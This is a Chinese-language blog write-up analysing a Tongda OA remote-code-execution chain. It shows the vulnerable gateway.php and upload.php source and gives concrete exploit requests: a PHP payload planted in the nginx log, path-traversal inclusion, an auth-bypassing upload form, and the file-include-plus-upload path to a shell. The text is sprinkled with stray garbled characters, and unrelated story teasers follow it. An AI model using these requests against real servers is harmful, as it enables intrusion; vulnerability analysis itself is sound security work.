# 通達(dá)OA 最新RCE漏洞的簡(jiǎn)單分析

通達(dá)OA 最新RCE漏洞的簡(jiǎn)單分析

本文首發(fā)于I春秋

前言

最近工作比較忙,本來(lái)上周看到這個(gè)漏洞的時(shí)候就想學(xué)習(xí)一下,結(jié)果因?yàn)楦鞣N事霞揉,一直拖著,正好趁今天有點(diǎn)時(shí)間晰骑,來(lái)簡(jiǎn)單學(xué)習(xí)一下适秩。樓主也是最近才學(xué)習(xí)PHP,所以肯定有很多不足之處硕舆。這篇文章既是分享秽荞,也是在督促自己學(xué)習(xí)。

漏洞點(diǎn)1抚官,文件包含:

漏洞地址:/ispirit/interface/gateway.php

<?php

ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility_org.php";
//$P不為空的時(shí)候才進(jìn)行登錄狀態(tài)的判斷扬跋。如果不傳遞$P則可直接繞過(guò)這部分的判斷。
if ($P != "") {
        if (preg_match("/[^a-z0-9;]+/i", $P)) {
                echo _("非法參數(shù)");
                exit();
        }

        session_id($P);
        session_start();
        session_write_close();
        if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
                echo _("RELOGIN");
                exit();
        }
}

if ($json) {
        $json = stripcslashes($json);//stripcslashes 刪除數(shù)據(jù)中的反斜杠
        $json = (array) json_decode($json); //將傳遞的字符串轉(zhuǎn)換為數(shù)組
        /*
        例子:
        $a = array('Tom','Mary','Peter','Jack');
        foreach ($a as $value) {
          echo $value."<br/>";
        }
        輸出結(jié)果為:
        Tom
        Mary
        Peter
        Jack        
        而使用
        foreach ($a as $key => $value) {
          echo $key.','.$value."<br/>";
        }
        輸出結(jié)果為:
        0,Tom
        1,Mary
        2,Peter
        3,Jack
        */
        foreach ($json as $key => $val ) { //遍歷給定的 數(shù)組語(yǔ)句$json數(shù)組凌节。每次循環(huán)中钦听,同時(shí)當(dāng)前單元的鍵名也會(huì)在每次循環(huán)中被賦給變量 $key
                if ($key == "data") {
                        $val = (array) $val;

                        foreach ($val as $keys => $value ) {
                                $keys = $value;
                        }
                }

                if ($key == "url") { //當(dāng)傳遞過(guò)來(lái)的數(shù)組中,包含url這個(gè)關(guān)鍵值則將其賦值給url
                        $url = $val;
                }
        }

        if ($url != "") {
                if (substr($url, 0, 1) == "/") { 
                        $url = substr($url, 1);
      //這里截取url中的0,1字段倍奢,如果為/,則再次進(jìn)行截?cái)啾爰瑥牡诙婚_始截取之后的值
      //如$url = "/http://",這時(shí)滿足if,最后url輸出的值為http://
                }

                if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
                        include_once $url;
      /*
      strpos函數(shù)的作業(yè)是判斷字符串中娱挨,是否含有某些字符串余指,而 !== false 這種判斷是不嚴(yán)謹(jǐn)?shù)模驗(yàn)橹灰赨RL中包含這些字符串就能繞過(guò)它的限制。
      這里可以看到酵镜,如果我們傳遞的URL中包含這些字符串碉碉,那么就能進(jìn)入到include_once 這一步。(include 文件包含漏洞)
      */
                }
        }

        exit();
}

?>

總結(jié)

只有包含$P 才會(huì)進(jìn)入到身份驗(yàn)證淮韭。并且傳遞的json數(shù)據(jù)中垢粮,需要有url這個(gè)關(guān)鍵值。最后value中需要包含general/,ispirit/,module/靠粪,才能進(jìn)入到利用點(diǎn)蜡吧。
到這里利用思路應(yīng)該清晰了:
a. 包含日志
b. 遠(yuǎn)程文件包含,通過(guò)SMB或者webdav進(jìn)行bypass
c. 包含上傳文件

利用

1.包含日志占键,從通達(dá)OA的安裝來(lái)看昔善,其使用了Nginx,且開啟了日志畔乙,那么我們?cè)L問(wèn)的記錄都會(huì)被記錄到Nginx 的log日志中君仆。(實(shí)測(cè)成功率不太高,可能是我姿勢(shì)不夠騷牲距,不過(guò)是一種很好的思路)

訪問(wèn)
/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>
然后通過(guò)如下url進(jìn)行文件包含利用
/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log

2.遠(yuǎn)程文件包含返咱,首先我們知道要滿足遠(yuǎn)程文件包含,需要雙ON的情況下才可以牍鞠。那么咖摹,通達(dá)OA很明顯是不滿足的。之前看了篇文章难述,利用SMB匿名共享來(lái)繞過(guò)這個(gè)限制萤晴。

image

2.1 開啟smb共享,參考(https://xz.aliyun.com/t/5139

image

image

2.2 遠(yuǎn)程包含龄广,成功執(zhí)行

image

2.3 webdav的同理硫眯,這里不做演示了蕴侧。

漏洞點(diǎn)2择同,前臺(tái)文件上傳:

漏洞地址:ispirit/im/upload.php

<?php

set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
        ob_start();
        include_once "inc/session.php";
        session_id($P);
        session_start();
        session_write_close();
}
else {
        include_once "./auth.php";
}


include_once "inc/utility_file.php";
include_once "inc/utility_msg.php";
include_once "mobile/inc/funcs.php";
ob_end_clean();
$TYPE = $_POST["TYPE"];
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID無(wú)效"));
        echo json_encode(data2utf8($dataBack));
        exit();
}

if (strpos($DEST_UID, ",") !== false) {
}
else {
        $DEST_UID = intval($DEST_UID);
}

if ($DEST_UID == 0) {
        if ($UPLOAD_MODE != 2) {
                $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID無(wú)效"));
                echo json_encode(data2utf8($dataBack));
                exit();
        }
}

$MODULE = "im";

if (1 <= count($_FILES)) {
        if ($UPLOAD_MODE == "1") {
                if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
                        $_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
                }
        }

        $ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

        if (!is_array($ATTACHMENTS)) {
                $dataBack = array("status" => 0, "content" => "-ERR " . $ATTACHMENTS);
                echo json_encode(data2utf8($dataBack));
                exit();
        }

        ob_end_clean();
        $ATTACHMENT_ID = substr($ATTACHMENTS["ID"], 0, -1);
        $ATTACHMENT_NAME = substr($ATTACHMENTS["NAME"], 0, -1);

        if ($TYPE == "mobile") {
                $ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), "utf-8", MYOA_CHARSET);
        }
}
else {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("無(wú)文件上傳"));
        echo json_encode(data2utf8($dataBack));
        exit();
}

$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);

if (!$FILE_SIZE) {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("文件上傳失敗"));
        echo json_encode(data2utf8($dataBack));
        exit();
}

if ($UPLOAD_MODE == "1") {
        if (is_thumbable($ATTACHMENT_NAME)) {
                $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
                $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
                CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
        }

        $P_VER = (is_numeric($P_VER) ? intval($P_VER) : 0);
        $MSG_CATE = $_POST["MSG_CATE"];

        if ($MSG_CATE == "file") {
                $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
        }
        else if ($MSG_CATE == "image") {
                $CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";
        }
        else {
                $DURATION = intval($DURATION);
                $CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
        }

        $AID = 0;
        $POS = strpos($ATTACHMENT_ID, "@");

        if ($POS !== false) {
                $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
        }

        $query = "INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0','$AID')";
        $cursor = exequery(TD::conn(), $query);
        $FILE_ID = mysql_insert_id();

        if ($cursor === false) {
                $dataBack = array("status" => 0, "content" => "-ERR " . _("數(shù)據(jù)庫(kù)操作失敗"));
                echo json_encode(data2utf8($dataBack));
                exit();
        }

        $dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID);
        echo json_encode(data2utf8($dataBack));
        exit();
}
else if ($UPLOAD_MODE == "2") {
        $DURATION = intval($_POST["DURATION"]);
        $CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
        $query = "INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('" . $_SESSION["LOGIN_UID"] . "', '" . $CONTENT . "', '" . time() . "')";
        $cursor = exequery(TD::conn(), $query);
        echo "+OK " . $CONTENT;
}
else if ($UPLOAD_MODE == "3") {
        if (is_thumbable($ATTACHMENT_NAME)) {
                $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
                $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
                CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
        }

        echo "+OK " . $ATTACHMENT_ID;
}
else {
        $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
        $msg_id = send_msg($_SESSION["LOGIN_UID"], $DEST_UID, 1, $CONTENT, "", 2);
        $query = "insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0')";
        $cursor = exequery(TD::conn(), $query);
        $FILE_ID = mysql_insert_id();

        if ($cursor === false) {
                echo "-ERR " . _("數(shù)據(jù)庫(kù)操作失敗");
                exit();
        }

        if ($FILE_ID == 0) {
                echo "-ERR " . _("數(shù)據(jù)庫(kù)操作失敗2");
                exit();
        }

        echo "+OK ," . $FILE_ID . "," . $msg_id;
        exit();
}

?>

分析:

auth.php 為登錄狀態(tài)判斷的頁(yè)面
接收POST傳遞的參數(shù)P,如果P不為空净宵,就不會(huì)進(jìn)入到登錄狀態(tài)判斷敲才。
所以,我們只要在POST參數(shù)中傳遞$P為任意值就能繞過(guò)限制

image

這里我們寫個(gè)上傳頁(yè)面來(lái)測(cè)試一下

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

<h1>hello worlds</h1>
<form action="http://192.168.52.128/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
                <p><input type="hidden" name="P"></p>
    <p><input type="file" name="upload"></p>
    <p><input type="submit" value="submit"></p>
</form>

</body>
</html>

然后抓包查看一下择葡,提示接收方ID無(wú)效

image

這個(gè)時(shí)候紧武,我們?cè)诳聪麓a,代碼中需要POST傳遞兩個(gè)參數(shù) TYPE(type這個(gè)從上下文中看敏储,并不關(guān)鍵) 和 DEST_UID阻星,而且當(dāng)DEST_UID = 0的時(shí)候,UPLOAD_MODE必須為2,否則也會(huì)提示無(wú)效妥箕。

image

我們接著往下看代碼滥酥,從這里得知,我們上傳文件的時(shí)候畦幢,應(yīng)該講file的name設(shè)置ATTACHMENT坎吻,否則也會(huì)上傳失敗。

image

那么這個(gè)時(shí)候宇葱,我們抓包修改一下參數(shù)瘦真,就實(shí)現(xiàn)了前臺(tái)文件上傳。

image

這個(gè)時(shí)候黍瞧,我們?nèi)炙阉饕幌律蟼鞯奈募罹。l(fā)現(xiàn)在attach/im/2003中,這里上圖的返回值中也能看出來(lái)雷逆,2003代表目錄弦讽,866代表文件名

image

總結(jié)

其實(shí)前臺(tái)上傳并沒(méi)有太多難點(diǎn),而之所以它在這里算做一個(gè)漏洞膀哲,是因?yàn)榕浜狭宋募┒赐ㄟ^(guò)文件包含解析上傳文件中的PHP代碼而形成一個(gè)完整的攻擊鏈

利用

到這里這次兩個(gè)漏洞的利用鏈就完整起來(lái)了。通過(guò)前臺(tái)文件上傳+文件包含實(shí)現(xiàn)getshell某宪。

image
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末仿村,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子兴喂,更是在濱河造成了極大的恐慌蔼囊,老刑警劉巖,帶你破解...
    沈念sama閱讀 219,539評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件衣迷,死亡現(xiàn)場(chǎng)離奇詭異畏鼓,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)壶谒,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,594評(píng)論 3 396
  • 文/潘曉璐 我一進(jìn)店門云矫,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人汗菜,你說(shuō)我怎么就攤上這事让禀。” “怎么了陨界?”我有些...
    開封第一講書人閱讀 165,871評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵巡揍,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我菌瘪,道長(zhǎng)腮敌,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,963評(píng)論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮糜工,結(jié)果婚禮上斗这,老公的妹妹穿的比我還像新娘。我一直安慰自己啤斗,他們只是感情好表箭,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,984評(píng)論 6 393
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著钮莲,像睡著了一般免钻。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上崔拥,一...
    開封第一講書人閱讀 51,763評(píng)論 1 307
  • 那天极舔,我揣著相機(jī)與錄音,去河邊找鬼链瓦。 笑死拆魏,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的慈俯。 我是一名探鬼主播渤刃,決...
    沈念sama閱讀 40,468評(píng)論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼贴膘!你這毒婦竟也來(lái)了卖子?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,357評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤刑峡,失蹤者是張志新(化名)和其女友劉穎洋闽,沒(méi)想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體突梦,經(jīng)...
    沈念sama閱讀 45,850評(píng)論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡诫舅,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,002評(píng)論 3 338
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了宫患。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片刊懈。...
    茶點(diǎn)故事閱讀 40,144評(píng)論 1 351
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖撮奏,靈堂內(nèi)的尸體忽然破棺而出俏讹,到底是詐尸還是另有隱情当宴,我是刑警寧澤畜吊,帶...
    沈念sama閱讀 35,823評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站户矢,受9級(jí)特大地震影響玲献,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,483評(píng)論 3 331
  • 文/蒙蒙 一捌年、第九天 我趴在偏房一處隱蔽的房頂上張望瓢娜。 院中可真熱鬧,春花似錦礼预、人聲如沸眠砾。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,026評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)褒颈。三九已至,卻和暖如春励堡,著一層夾襖步出監(jiān)牢的瞬間谷丸,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,150評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工应结, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留刨疼,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,415評(píng)論 3 373
  • 正文 我出身青樓鹅龄,卻偏偏與公主長(zhǎng)得像揩慕,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子扮休,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,092評(píng)論 2 355

推薦閱讀更多精彩內(nèi)容